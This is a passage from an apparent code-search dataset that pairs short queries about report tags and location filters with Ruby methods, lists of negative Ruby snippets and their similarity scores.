"0.5294102",
"0.52790165",
"0.5268891",
"0.5267336",
"0.52644795",
"0.5250007",
"0.5247428",
"0.52378327",
"0.52339816",
"0.52339816",
"0.52339816",
"0.5221178",
"0.5200305",
"0.5197246",
"0.5194498",
"0.5193478",
"0.51902276",
"0.51868945",
"0.5186393",
"0.5182885",
"0.517985",
"0.5169443",
"0.51664937",
"0.51614606",
"0.5154059",
"0.5154059",
"0.5153513",
"0.51373917",
"0.513737",
"0.5133634",
"0.51311195",
"0.5130456",
"0.51219517",
"0.5117829",
"0.5115204",
"0.51140916",
"0.51139176",
"0.51035655",
"0.50991726",
"0.5096009",
"0.5095046",
"0.5093609",
"0.509286",
"0.5087413",
"0.50819385",
"0.50812984",
"0.50769174",
"0.507631"
] |
0.7488999
|
1
|
append tag_string to report text if supplied (iphone, android)
|
def append_tags
self.text += (" "+self.tag_string) if !self.tag_string.blank?
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def see_tag(text); end",
"def add_string(_tag, _val)\n raise NotImplementedError\n end",
"def note_tag(text); end",
"def tag(string); end",
"def abstract_tag(text); end",
"def tag_text=(value)\n self.tag=(value)\n end",
"def api_tag(text); end",
"def return_tag(text); end",
"def append_line_before_tag(string, new_line, tag)\n tag_with_leading_space = string[/(\\s*)#{tag}$/m]\n tag_with_one_newline = tag_with_leading_space.sub(/(\\n)+/, \"\\n\")\n string = \"#{string.chomp(tag)} #{new_line.chomp}#{tag_with_one_newline}\"\nend",
"def mytag(opts)\n Rails.logger.info \"Own method mytag is active\"\n \"<b>#{opts[:text]}</b>\"\n end",
"def tagstring\n\tself.taglist.join ', '\n end",
"def raise_tag(text); end",
"def example_tag(text); end",
"def append(text); end",
"def todo_tag(text); end",
"def handle_tag_as_text\n self[:is_tag] = false\n self[:closing_tag] = false\n self[:text] = self[:complete_match]\n end",
"def to_text(pad)\n if @tagstr.length == 0\n ''\n else\n pad + @tagstr + \"\\n\"\n end\n end",
"def print_tag_message(tag)\n print_time_stamp\n puts 'Current tag is set to '.colorize(:blue) + '#' + tag\n end",
"def attr_tag(text); end",
"def add_tag(tag)\n if not tag.kind_of?(String)\n raise \"tag '#{tag.inspect}' is not a String\"\n end\n\n if not @tags.include?(tag)\n @tags.push(tag)\n end\n \n end",
"def appendtext(value)\n merge(appendtext: value.to_s)\n end",
"def apply_updates_tags_string(tag)\n if tag.value.empty?\n @control_string.sub!(\n /tag\\s+['\"]?#{tag.key}['\"]?:\\s+(((\").*?(?<!\\\\)\")|((').*?(?<!\\\\)')|((%q{).*?(?<!\\\\)[}])|(nil))\\n/m,\n \"tag '#{tag.key}': nil\\n\"\n )\n else\n wrap_length = MAX_LINE_LENGTH - WORD_WRAP_INDENT\n\n @control_string.sub!(\n /tag\\s+['\"]?#{tag.key}['\"]?:\\s+(((\").*?(?<!\\\\)\")|((').*?(?<!\\\\)')|((%q{).*?(?<!\\\\)[}])|(nil))\\n/m,\n \"tag '#{tag.key}': %q{#{tag.value}}\".word_wrap(wrap_length).indent(WORD_WRAP_INDENT)\n )\n end\n end",
"def overload_tag(text); end",
"def annotated_tag(tag, text, class: '')\n\t\t(\"<#{tag.to_s} \" + \"id=\\\"#{id_safe(text)}\\\" >\" + text + \"</#{tag.to_s}>\").html_safe\n\t\t#class=\\\"#{class.to_s}\\\"\n\tend",
"def add_text(text); end",
"def tagline; end",
"def tag(new_tag); end",
"def tag_text()\n return self.tag(true)\n end",
"def tag(text, options={})\n puts \"options before processing: #{options.inspect}\"\n tag = options.delete(:tag) || 'div'\n puts \"options after processing: #{options.inspect}\"\n attrs = options.map {|(key, value)| \"#{key}='#{value}'\" }.join(' ')\n \n \"<#{tag} #{attrs}>#{text}</#{tag}>\"\nend",
"def text(string)\n @builder << string.to_s\n nil\n end",
"def tag\n if @tag.is_a? String\n @tag\n end\n end",
"def append_info(text, options={})\n send_audit(:kind => :info, :text => text, :category => options[:category])\n end",
"def attr_writer_tag(text); end",
"def assign_tags\n if self.text\n self.tag_s = self.text.scan(/\\s+\\#\\S+/).join(' ')\n end\n true\n end",
"def add_tags_to_verses(document, text)\n html = text.to_str\n html.gsub!(/data-srcid\\s?=\\s?['\"](.*?)['\"]/) do |match|\n tagid = DmKnowledge::Document.tagcontext_from_srcid($1)\n tag_list = document.tag_list_on(tagid)\n unless tag_list.empty?\n \"#{match} data-tags='#{tag_list.to_json}' data-tagid='#{tagid}'\"\n else\n match\n end\n end\n html.html_safe\n end",
"def add_tag (tag)\n `rs_tag --add \"#{tag}\"`\n end",
"def deprecated_tag(text); end",
"def formated_tagline_for(game)\n return \"\" if game.nil? || game.tagline.nil?\n return \"\\\"#{game.tagline}\\\"\"\n end",
"def on_characters(text)\n\t\t\t\t\tif @vals[@tag] == nil then\n\t\t\t\t\t\t@vals[@tag] = text\n\t\t\t\t\telse\n\t\t\t\t\t\t@vals[@tag] << text\n\t\t\t\t\tend\n\t\t\t\tend",
"def on_characters(text)\n\t\t\t\t\tif @vals[@tag] == nil then\n\t\t\t\t\t\t@vals[@tag] = text\n\t\t\t\t\telse\n\t\t\t\t\t\t@vals[@tag] << text\n\t\t\t\t\tend\n\t\t\t\tend",
"def tagify tag, params, *args\n text = [*args].join(SEPARATOR)\n text.vacant? ? '' : \"#{opening tag, params}#{text.strip}#{closing tag}\"\n end",
"def tag(tag); end",
"def tag(tag); end",
"def replace_using(tag, string)\n Tags[tag][1] = string\n end",
"def tag(arg)\n @tag = arg.to_s\n self\n end",
"def text(string)\n target << string\n end",
"def append_info(text, options={})\n options[:category] ||= EventCategories::NONE # Do not event by default\n send_request('append_info', normalize_options(text, options))\n end",
"def crearStringTag\n\t\ti = 0 #contador\n\t\tlistaTag=getTag\n\t\tstringTag = \"\" #Se almacena la cadena de texto\n\t\twhile listaTag.length != i\n\t\t\tstringTag += listaTag[i]\n\t\t\ti +=1\n\t\tend\n\t\treturn stringTag\n\tend",
"def text(text,tag_parse=true)\n set RGhost::Text.new(text.to_s,tag_parse) \n end",
"def new_tag(tag)\n puts cyan(\"Found new tag: #{tag}\")\n end",
"def add_log_text(text)\n self.log_text = \"\" if self.log_text.nil?\n self.log_text += text + \"\\n\"\n end",
"def store_finder_text_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.p.className(create_ats_regex_string(\"ats-storefindertxtlbl\")), format_method(__method__))\n end",
"def generate_tagged_str(tag, *args)\n tag_head = generate_tag_header(tag)\n tag_body = args.join\n tag_foot = generate_tag_footer\n [tag_head, tag_body, tag_foot].join\n end",
"def write_tag(tag,value)\n @io << \"<value><#{tag}>#{text(value)}</#{tag}></value>\"\n end",
"def render_text(text)\n @out << text\n end",
"def text\n @tag_data[:text]\n end",
"def append_report_for(command)\n checker.append_report_for(command, self.title, self.variant)\n end",
"def track_string(t)\n end",
"def parse_tag_with_types_and_title(tag_name, text); end",
"def string_append(string)\n \t\tstring + \" appended\"\n \tend",
"def log(string)\n @report.log(string)\n end",
"def log(string)\n @report.log(string)\n end",
"def assign_tags\n if self.text\n self.tag_s = self.text.scan(/\\s+\\#\\S+/).join(' ')\n save\n end\n true\n end",
"def text(string)\n Element::Text.new(production, self, string).tap do |text|\n _timeline.add(text)\n end\n end",
"def parse_tag_with_name(tag_name, text); end",
"def _append_text(str)\n\t\tif(str != '')\n\t\t\tif(!@contents || !@contents[@content_index].is_a?(String))\n\t\t\t\t@content_index += 1\n\t\t\t\t@contents[@content_index] = ''\n\t\t\tend\n\t\t\t@contents[@content_index] += str.to_s\n\t\tend\n\tend",
"def encode_by(tag, string)\n Tags[tag][0][1] = string\n end",
"def add_tag(tag)\n context.add_tag_to_device(tag: tag, device: self)\n self\n end",
"def tagger_format tag\n \"<a href='/tags/#{tag}'>#{tag}</a>\"\n end",
"def append(appended_text = '')\n @text << ' ' << appended_text\n end",
"def tag_with tag_or_string, tagger_id, options={}\n if tag_or_string.is_a? String\n tags = Tag.strmatch tag_or_string, matchall: true, tagtype: options[:type], assert: true, userid: tagger_id\n tag = tags.first\n else\n tag = tag_or_string\n end\n @taggable_entity.tag_with tag, tagger_id\n end",
"def handle_adding_tag(tag, tags)\n if tags.include?(tag)\n puts \"Warning: duplicate tag #{tag} detected\"\n else\n tags.push(tag)\n end\n return tags\n end",
"def handle_adding_tag(tag, tags)\n if tags.include?(tag)\n puts \"Warning: duplicate tag #{tag} detected\"\n else\n tags.push(tag)\n end\n return tags\n end",
"def parse_tag_with_types(tag_name, text); end",
"def raw_tag_info=(val)\n arr = val.split(\"\\n\")\n arr.delete_if {|x| x.match(\"APIC\") || x.match(\"POPM\")}\n self[:raw_tag_info] = arr.join(\"\\n\")\n end",
"def eng_unit_user_tag; eng_unit_type.tag rescue \"\"; end",
"def send(tag)\n return \"<#{tag}/>\"\n end",
"def tag(tagname, text)\n html = \"<#{tagname}>#{text}</#{tagname}>\"\n yield html\nend",
"def tag(value)\n merge(rvtag: value.to_s)\n end",
"def tag(tag)\n log.tag(self, tag)\n end",
"def version_tag(text); end",
"def write_tag(content, tag)\n write_html(\"<#{tag}>\\n\")\n write_text(content)\n write_html(\"</#{tag}>\\n\")\n end",
"def text(text)\r\n # Do nothing unless we're currently working on a <packet> element or one of its children\r\n return unless @element_stack.length > 0\r\n\r\n @element_stack.last.add_text(text)\r\n end",
"def to_s; \"Doc-#{target}\\n#{text}\" end",
"def wikitext(value)\n merge(wikitext: value.to_s)\n end",
"def tag tag, text, classes = nil\n \"<#{tag} #{classes.nil? ? '': \"class='#{classes}'\"}'>#{text}</#{tag}>\"\nend",
"def show_text(string, *params)\n @content.last << string.strip\n end",
"def tag(value)\n merge(gadrtag: value.to_s)\n end",
"def tags_text\n\t\tself.tags.join(', ') #convertir el arreglo en una cadena de texto separado por ,\n\tend",
"def addTag(message, mail)\n subject = mail.sub(\"[csstudents]\", \"\") #delete csstudents\n subjectLow = subject.downcase\n tags = /[\\[].*[\\]]/.match(subjectLow)\n if !tags.nil?\n tags = tags[0][1..-2]\n tagArr = tags.split('][') #create array of tags\n tagArr.each do |tag|\n if tag.include? \"talk\"\n message.tag_list.add(\"Talk\")\n elsif tag.include? \"cs table\"\n message.tag_list.add(\"CS Table\")\n elsif tag.include? \"internship\"\n message.tag_list.add(\"Internship\")\n elsif tag.include? \"job\"\n message.tag_list.add(\"Job\")\n elsif tag.include? \"offcampus\"\n message.tag_list.add(\"Off Campus\")\n elsif tag.include? \"candidate\"\n message.tag_list.add(\"Candidate\")\n elsif tag.include? \"sepc\"\n message.tag_list.add(\"SEPC\")\n else\n message.tag_list.add(\"Misc.\")\n end\n end\n else\n message.tag_list.add(\"Misc.\") #if no tags are attached\n end\n subject.sub!(/[\\[].*[\\]]/, \"\") #removes tags from subject\n subject.strip! #removes whitespaces\n return subject.squeeze(\" \") #removes extra whitespace from subject\n end",
"def annotate(tag)\n tag\n end",
"def annotate(tag)\n tag\n end",
"def _text(text)\n @target << text\n end",
"def tag_name(tag_name)\n @data << [\"ignore:#{tag_name}\"]\n end",
"def author_tag(text); end",
"def add_tags chars\n # TODO: write your code here\nend",
"def text\n text = @tag_data[:text]\n # convert_newlines_to_br\n text.gsub!(\"\\r\\n\", \"\\n\")\n text.gsub!(\"\\n\", \"\\n\")\n text\n end",
"def annotate(tag)\n tag\n end",
"def tag(tag)\n @tagname = tag\n end"
] |
[
"0.6162789",
"0.59935844",
"0.5926792",
"0.5882301",
"0.583451",
"0.57093275",
"0.56849265",
"0.56290036",
"0.5609136",
"0.5569981",
"0.5550646",
"0.55478644",
"0.5528541",
"0.55203676",
"0.55201995",
"0.5513261",
"0.5477375",
"0.5472482",
"0.54571325",
"0.54562527",
"0.544324",
"0.54313",
"0.5409136",
"0.5394425",
"0.539383",
"0.53729564",
"0.53292763",
"0.5306384",
"0.5302091",
"0.5299952",
"0.5299665",
"0.5279814",
"0.52616817",
"0.5258305",
"0.5247182",
"0.5232285",
"0.52265245",
"0.521915",
"0.5204555",
"0.5204555",
"0.52023965",
"0.51889616",
"0.51889616",
"0.5188728",
"0.51871973",
"0.5159246",
"0.51520914",
"0.5145148",
"0.514455",
"0.51311684",
"0.5126673",
"0.51262516",
"0.51140827",
"0.50989896",
"0.509182",
"0.50885147",
"0.5084125",
"0.5072488",
"0.50692964",
"0.50531197",
"0.5052567",
"0.5052567",
"0.5052081",
"0.50407755",
"0.5026516",
"0.50031024",
"0.50005966",
"0.49908808",
"0.49903774",
"0.49640658",
"0.49603152",
"0.4948907",
"0.4948907",
"0.49471283",
"0.49449858",
"0.4943069",
"0.4932779",
"0.49265045",
"0.49130598",
"0.49130413",
"0.4910721",
"0.49037692",
"0.48992667",
"0.48984802",
"0.48955387",
"0.48941162",
"0.48771042",
"0.48767954",
"0.48741102",
"0.48643994",
"0.48561025",
"0.48561025",
"0.48542556",
"0.4841286",
"0.48368376",
"0.4836043",
"0.4827886",
"0.4827162",
"0.4823952"
] |
0.669592
|
1
|
What tags are associated with this report? Find them and store for easy reference later
|
def assign_tags
if self.text
self.tag_s = self.text.scan(/\s+\#\S+/).join(' ')
save
end
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tags() ; info[:tags] ; end",
"def tags() ; info[:tags] ; end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n data[:tags]\n end",
"def tags\n @data['tags']\n end",
"def tags\n @obj['tags']\n end",
"def tags; end",
"def tags; end",
"def tags; end",
"def tags; end",
"def tags; end",
"def tags\n @values.fetch('tags') { \n @values['tags'] = {}\n }\n end",
"def tags\n @result.keys\n end",
"def tags\n @fields.tag_list\n end",
"def tags\n object.tags.each do |tag|\n tag.name\n end\n end",
"def tags()\n\t\t\treturn @metadata.attributes[:tags].to_a\n\t\tend",
"def tags\n get.tagGuids\n end",
"def tags() []; end",
"def find_tags\n @tags = BlogPost.tag_counts_on(:tags)\n end",
"def tags\n attributes.fetch(:tags)\n end",
"def tags\n attributes.fetch(:tags)\n end",
"def tags\n @tags ||= []\n end",
"def tags\n @meta.merge(@metrics)\n end",
"def tags\n @tags ||= tag_class.in_challenge(collection).group(:id)\n end",
"def tags\n ttracks = tracks.map{|tt| tt.mp3? and tt.scrobbler.tags.map{|t| [t.name,t.count]}}\n tags = Hash.new{|h,k| h[k] = 0}\n ttracks.each do |track_tags|\n if track_tags\n track_tags.each do |tag,c|\n tags[tag.to_sym] += c.to_i\n end\n end\n end\n tags.sort_by{|h,k| k}.reverse.first(3)\n rescue\n MyBiaDJ::Error(\"Virtual:Record:#{\"Tags\".underline}: no infos from remote for #{path}\")\n [[:untagged, 100]]\n end",
"def tag_names\n self.tags.map(&:name).join(\", \")\n end",
"def tags\n attributes[:tags] || []\n end",
"def tag_names\n self.tags.map{ |t| t.name }.join(\", \")\n end",
"def tags\n return @tags\n end",
"def tags\n return @tags\n end",
"def tags\n return @tags\n end",
"def tags\n @stack.tags\n end",
"def tags\n @note.tagNames\n end",
"def tag\n @reports = Report.where.not(division: [nil,\"\"]).\n where(category: \"adware\").\n order(division: :ASC)\n end",
"def tags\n @tags ||= []\n end",
"def tags\n @sg.tags\n end",
"def tags\n @sg.tags\n end",
"def added_tags\n @added_tags\n end",
"def log_tags; end",
"def log_tags; end",
"def log_tags; end",
"def tag_data\n @tag_data ||= object.tags.group_by(&:type)\n end",
"def tags\n response[\"tags\"]\n end",
"def current_tags\n\t\t@tags ||= qualities.pluck(:name)\n\tend",
"def taglist\n\tself.tags.map {|t| t.name}\n end",
"def tags\n\t\t@tags = @identities = Identity.sorted_alphabetic.decorate\n\tend",
"def tags\n @attributes.select { |k, _| tag_names.include?(k.to_s) }\n end",
"def tag_list\n data[:tag_list]\n end",
"def tag_list\n data[:tag_list]\n end",
"def tags\n self.new_record? ? '' : Tag.get_friendly_tags(self)\n end",
"def tagging_tags\n filtered_tags(:tagtype_x => [11, :Collection, :List])\n end",
"def tags\n @tags_with_count = Asset.tag_counts_on(:tags)\n \n @tags = @tags_with_count.map{|tag_hash| tag_hash = tag_hash.name }\n \n respond_to do |format|\n format.html\n format.json { render :json => @tags }\n end\n end",
"def tag_names\n # only return the name from the associated tag object\n object.tags.map(&:name)\n end",
"def tags\n ['any'] + @tags\n end",
"def tags\n ['any'] + @tags\n end",
"def available_tags\n available_tags = []\n Tag.all.each do |t|\n available_tags << t.name\n end\n\n tags = []\n self.tags.each do |t|\n tags << t.name\n end\n\n available_tags - tags\n end",
"def tags\n entries = Entry.all\n # Create a list of all the tags, as a String\n tags_list = String.new\n entries.each do |entry|\n tags_list << entry.tags + \" \"\n end\n # Convert the String to a global array, removing the duplicate elements\n $tags_array = tags_list.split.uniq\n end",
"def tags\n if new?\n @fake_tags || []\n else\n @tags ||= tags_dataset.all\n end\n end",
"def index\n @tags = Contact.tag_counts_on(:tags)\n\tend",
"def get_tags\n [['pxb', 'PXB'], ['ind', 'Individuals'], ['bus', 'Businesses'], ['grp', 'Peer Groups']]\n end",
"def list_of_tags\n tag_list\n end",
"def getTags\r\n\t\t\t\t\treturn @tags\r\n\t\t\t\tend",
"def show_tags\n tag_list = \"\"\n self.tags.each do |t|\n tag_list << \"#{t.name} \"\n end\n tag_list\n end",
"def tags\n @tags ||= tags_from_collection.merge(tags_from_item).values.select(&:release)\n end",
"def photo_tags\n all_tags = Hash.new {|h,k| h[k]=[]}\n self.tags.find_each do |t|\n all_tags[t.field] << t.value\n end\n all_tags\n end",
"def find_tags\n @find_tags = true\n end",
"def tags\n @values.keys.map {|tag| Values.tag_map[tag]}\n end",
"def tags\n tagset = Dogcatcher::TagSet.new\n tagset << \"notifier:#{notifier}\"\n tagset << \"action:#{action}\"\n tagset << \"exception_class:#{exception.class}\"\n tagset << \"program:#{@config.program}\" if @config.program\n tagset << \"ruby_version:#{RUBY_VERSION}\"\n tagset.merge(gem_tags) if @config.gem_tags\n tagset.merge(@config.custom_tags)\n tagset.compile.to_a\n end",
"def tags_names\n\t\t@tags_names ||= self.tags.nil? ? '' : self.tags.collect(&:name).join(' ')\n\tend",
"def all_tags\n self.tags.map(&:name).join(\", \")\n end",
"def all_tags\n self.tags.map(&:name).join(\", \")\n end",
"def all_tags\n self.tags.map(&:name).join(\", \")\n end",
"def tag_list\n\t\tself.tags.map(&:name).join(\", \")\n\tend",
"def local_tags\n @local.tags\n end",
"def tags\n @values.keys.map { |key| @tag_names[key] }\n end",
"def tag_names\n { artist: 'ARTIST',\n album: 'ALBUM',\n title: 'TITLE',\n t_num: 'TRACKNUMBER',\n year: 'DATE',\n genre: 'GENRE' }\n end",
"def tags\n self.lib.tags.map { |r| tag(r) }\n end",
"def tag_name; end",
"def tag_name; end",
"def tag_name; end",
"def hash_tags\n tags = \"\"\n object.data_types.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag data-type')\n end\n object.visualization_types.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag vis-type')\n end\n object.visualization_tasks.each do |d|\n name = d.name\n tags = tags + h.content_tag( :span, '#' + name, class: 'scenario-tag task')\n end\n return tags.html_safe\n end",
"def tags\n @group.tags\n end",
"def tags\n\t\tt = read_attribute(:tags)\n\t\tt.nil? ? \"\" : t.join(', ')\n\tend",
"def tags\n @map.tags\n end",
"def all_tags\n\t\ttags.map(&:name).join(\", \")\n\tend",
"def tags\n @orig.keys\n end",
"def robotags\n object.tags User.super_id\n end",
"def supported_tags\n [\n # attributes\n :nexpose_id, :title, :severity, :pci_severity, :cvss_score, :cvss_vector,\n :published, :added, :modified,\n\n # simple tags\n :description, :solution,\n\n # multiple tags\n :references, :tags\n ]\n end",
"def _tagging\n t_tagging[:tag_id].in(self.tags) unless self.tags.length == 0\n end",
"def supported_tags\n [\n # attributes\n\n # simple tags\n :attack_class, :attack_score, :attack_type, :attack_value, :capec,\n :cwe_id, :description, :dissa_asc, :normalized_url, :oval, :owasp2007,\n :owasp2010, :owasp2013, :recommendation, :vuln_method, :vuln_param,\n :vuln_type, :vuln_url, :web_site\n # nested tags\n ]\nend",
"def tag_list\n\t\tself.tags.collect do |tag|\n\t\t\ttag.name\n\t\tend.join(\", \") #When we joined the array Ruby called the default #to_s method on every one of these Tag instances \n\tend",
"def tag_names\n self.entity_tags.map(&:tag).map(&:name)\n end",
"def tag_names #helper method\n # gets tag names in an array\n self.tags.map { |tag| tag.name }\n end",
"def tags_with_user_tag_counts\n\t\tuser_tags = tags.pluck(:name)\n\t\tuser_tag_list = Hash.new(0)\n\n\t\tuser_tags.each do |t|\n\t\t\tuser_tag_list[t] += 1\n\t\tend\n\n\t\ttags = treasures.tag_counts_on(:tags)\n\t\ttags.map do |t|\n\t\t\tt.taggings_count = user_tag_list[t.name]\n\t\tend\n\n\t\ttags\n\tend",
"def tag_list\n self.tags.collect do |tag|\n tag.name\n end.join(\", \")\n end",
"def requested_tags\n @requested_tags ||= []\n end",
"def supported_tags\n [\n # attributes\n # :color\n\n # simple tags\n :name, :module_name, :severity, :type, :impact, :description,\n :detailed_information, :recommendation, :cwe,\n\n # tags that correspond to Evidence\n :details, :affects, :parameter, :aop_source_file, :aop_source_line,\n :aop_additional, :is_false_positive,\n\n\n # nested tags\n :request, :response,\n :cvss_descriptor, :cvss_score,\n\n # multiple tags\n :cve_list, :references\n ]\n end",
"def head_tag_names\n LatestTaggedPactPublications.where(id: id).select(:tag_name).collect{|t| t[:tag_name]}\n end"
] |
[
"0.7527412",
"0.7527412",
"0.7263756",
"0.7263756",
"0.7263756",
"0.7263756",
"0.7263756",
"0.7153606",
"0.7124647",
"0.7079581",
"0.7079581",
"0.7079581",
"0.7079581",
"0.7079581",
"0.6832683",
"0.68256915",
"0.6784533",
"0.67660135",
"0.6737665",
"0.6703148",
"0.66972995",
"0.6695996",
"0.6685623",
"0.6685623",
"0.66839844",
"0.66796815",
"0.6659879",
"0.6637001",
"0.66335565",
"0.66236204",
"0.6611299",
"0.6588489",
"0.6588489",
"0.6588489",
"0.65804887",
"0.65788543",
"0.65724504",
"0.6559623",
"0.6552461",
"0.6552461",
"0.6523756",
"0.6519924",
"0.6519924",
"0.6519924",
"0.65095854",
"0.65039873",
"0.6499835",
"0.64959437",
"0.64866716",
"0.6485207",
"0.6478912",
"0.6478912",
"0.6472733",
"0.6469817",
"0.645768",
"0.6456523",
"0.6453686",
"0.6453686",
"0.6451545",
"0.6443199",
"0.6440002",
"0.641897",
"0.64137894",
"0.6413372",
"0.64113146",
"0.6405325",
"0.6389485",
"0.63805324",
"0.63762474",
"0.63689363",
"0.6361998",
"0.6358265",
"0.63566595",
"0.63566595",
"0.63566595",
"0.63554686",
"0.6354377",
"0.634878",
"0.63451654",
"0.6340274",
"0.6320063",
"0.6320063",
"0.6320063",
"0.631755",
"0.6313507",
"0.62919956",
"0.6285047",
"0.6284512",
"0.62757075",
"0.6267641",
"0.6265771",
"0.6262453",
"0.6258167",
"0.62369615",
"0.6236872",
"0.62144905",
"0.62113506",
"0.62079835",
"0.62014997",
"0.6200865",
"0.6197728"
] |
0.0
|
-1
|
What location filters apply to this report? US, MD, etc?
|
def assign_filters
if self.location_id && self.location.filter_list
values = self.location.filter_list.split(',').map { |f| "(#{f},#{self.id})" }.join(',')
self.connection.execute("INSERT DELAYED INTO report_filters (filter_id,report_id) VALUES #{values}") if !values.blank?
end
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index \n @page = params.fetch(:page, 0).to_i - 1\n @locations = \n case params[:filter_by_region]\n when \"england\"\n Location.where(\"area_code LIKE 'E%' \")\n when \"scotland\"\n Location.where(\"area_code LIKE 'S%' \")\n when \"wales\"\n Location.where(\"area_code LIKE 'W%' \")\n when \"northern_ireland\"\n Location.where(\"area_code LIKE 'N%' \")\n when \"combined_areas\"\n Location.where(\"area_code LIKE 'K%' \")\n else\n Location.offset([0, @page * LOCATIONS_PER_PAGE].max).limit(LOCATIONS_PER_PAGE)\n \n \n end \n end",
"def filter_locations\n allowed_keys=[\"name\", \"city\", \"user_id\", \"area_tl\", \"area_br\"]\n filtering_keys=allowed_keys & params.keys\n filtering_keys.each {|key| filter_by_key(key)}\n end",
"def filter_countries\n SUPER_COUNTRIES\n end",
"def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end",
"def locations; end",
"def country\n query = create_query(\n :Location, :regexp_search, regexp: \"#{params[:country]}$\"\n )\n show_selected_locations(query, link_all_sorts: true)\n end",
"def index\n @selected_location = filter_params[:at_location]\n @adjustments = current_organization.adjustments.class_filter(filter_params)\n\n @storage_locations = Adjustment.storage_locations_adjusted_for(current_organization).uniq\n end",
"def filter_locations_bu(points)\n filter_locations(points, 16.06.within(0.07), 50.41.within(0.1))\nend",
"def show\n values_container = params['search'] ? params['search'] : params\n @find, @near, @coordinates, @page = values_container.values_at('find', 'near', 'coordinates', 'page')\n\n if @near.present?\n if @near.include?('Current Location')\n values_container['near'] = @near = nil # Monkey patch\n elsif ! @near.match(/chicago/i)\n values_container['near'] = (@near.to_s << ' Chicago')\n end\n end\n\n @results = LocationFilter.new(@near).values\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @results }\n end\n end",
"def location_search # :nologin: :norobots:\n query = create_query(:Location, :pattern_search, :pattern => Location.user_name(@user, params[:pattern].to_s))\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def filter_locations_hk(points)\n filter_locations(points, 15.845.within(0.07), 50.21.within(0.1))\nend",
"def geographic_facet\n geographic_search.map { |val| val.sub(/[\\\\,;]$/, '').strip } if geographic_search\n end",
"def search_options\n unless @loc.blank?\n @cat.blank? ? {with: {site_id: @loc}, star: true, page: @page} : {with: {category_id: @cat, site_id: @loc}, star: true, page: @page}\n else\n unless @cat.blank?\n {with: {category_id: @cat}, geo: [@lat, @lng], order: \"geodist ASC, @weight DESC\", star: true, page: @page}\n else\n {geo: [@lat, @lng], order: \"geodist ASC, @weight DESC\", star: true, page: @page}\n end\n end\n end",
"def list_dubious_locations # :nologin:\n query = create_query(:Location, :all, :by => :name)\n show_selected_locations(query, :link_all_sorts => true,\n :action => :list_dubious_locations, :num_per_page => 1000)\n end",
"def list_locations # :nologin:\n query = create_query(:Location, :all, :by => :name)\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def query_string_params\n super + [\n :chtm, # region\n :chld, # countries/states\n ]\n end",
"def locations\n # blank\n end",
"def filter_locations_tu(points)\n filter_locations(points, 15.9.within(0.07), 50.57.within(0.1))\nend",
"def whitelisted_filters_for_countries\n country_slugs = @params[:countries] || []\n @regions.each do |region|\n country_slugs = country_slugs.concat(region[:countries])\n end\n if country_slugs.empty?\n []\n else\n Country.where(slug: country_slugs)\n end\n end",
"def usage_filters\n get('/1/reporting/filters').to_a\n end",
"def uhook_filtered_search filters = {}\n create_scopes(filters) do |filter, value|\n case filter\n when :locale\n {:conditions => {:locale => value}}\n end\n end\n end",
"def locations_to_coverage_and_placenames\n [lambda {|d|\n d.locations? and d.locations.size > 0 },\n lambda {|d|\n d.coverage = d.locations.select {|l|\n l.north? and l.east? and l.south? and l.west?\n }.map {\n |l|\n { :north => l.north, :east => l.east, :south => l.south, :west => l.west }\n }\n d.placenames = d.locations.map {|l| l.area}.map {|area|\n case area\n when \"dronning_maud_land\"\n {\"placename\"=>\"Dronning Maud Land\", \"country\" => \"AQ\" }\n when \"svalbard\"\n {\"placename\"=>\"Svalbard\", \"country\" => \"NO\" }\n else {\"placename\"=>area}\n end\n }.select{|p|not p.nil? and not p[\"placename\"] =~ /norway|arctic|antartic/ }.uniq\n d.delete :locations\n d\n }]\n end",
"def city_and_country\n \"#{self.location.city} - #{self.location.country}\"\n end",
"def list_locations\n query = create_query(:Location, :all, by: default_sort_order)\n show_selected_locations(query, link_all_sorts: true)\n end",
"def view_obs?\n location.blank? ? true : !(location =~ /^.*\\b(United States|USA)\\b.*$/i).nil?\n end",
"def filter_by_area\n loc_ids=Area.new(params[:area_tl],params[:area_br]).locations.collect {|loc| loc.id}\n @locations=@locations.where(id: loc_ids)\n end",
"def regional_sitelist\n query('txt/wxfcs/regionalforecast/json/sitelist')\n end",
"def displayable_sorted_locations\n\t\tsorted_locations.select { |location| location.display_address.present? }\n\tend",
"def location\n recommendations 'location'\n end",
"def selected_filter_option_names(filter)\n region_names = filter.regions(:name).sort\n country_names = filter.reduced_countries(:name).sort\n region_names.concat(country_names)\n end",
"def show_selected_locations(query, args={})\n @links ||= []\n\n # Add some alternate sorting criteria.\n args[:sorting_links] = [\n ['name', :sort_by_name.t],\n ['created_at', :sort_by_created_at.t],\n [(query.flavor == :by_rss_log ? 'rss_log' : 'updated_at'),\n :sort_by_updated_at.t],\n ['num_views', :sort_by_num_views.t],\n ]\n\n # Add \"show observations\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:Observation)\n @links << [:show_objects.t(:type => :observation), {\n :controller => 'observer',\n :action => 'index_observation',\n :params => query_params(query),\n }]\n end\n\n # Add \"show descriptions\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:LocationDescription)\n @links << [:show_objects.t(:type => :description), {\n :action => 'index_location_description',\n :params => query_params(query),\n }]\n end\n\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n @undef_location_format = User.current_location_format\n if query2 = coerce_query_for_undefined_locations(query)\n select_args = {\n :group => 'observations.where',\n :select => 'observations.where AS w, COUNT(observations.id) AS c',\n }\n if args[:link_all_sorts]\n select_args[:order] = 'c DESC'\n # (This tells it to say \"by name\" and \"by frequency\" by the subtitles.\n # 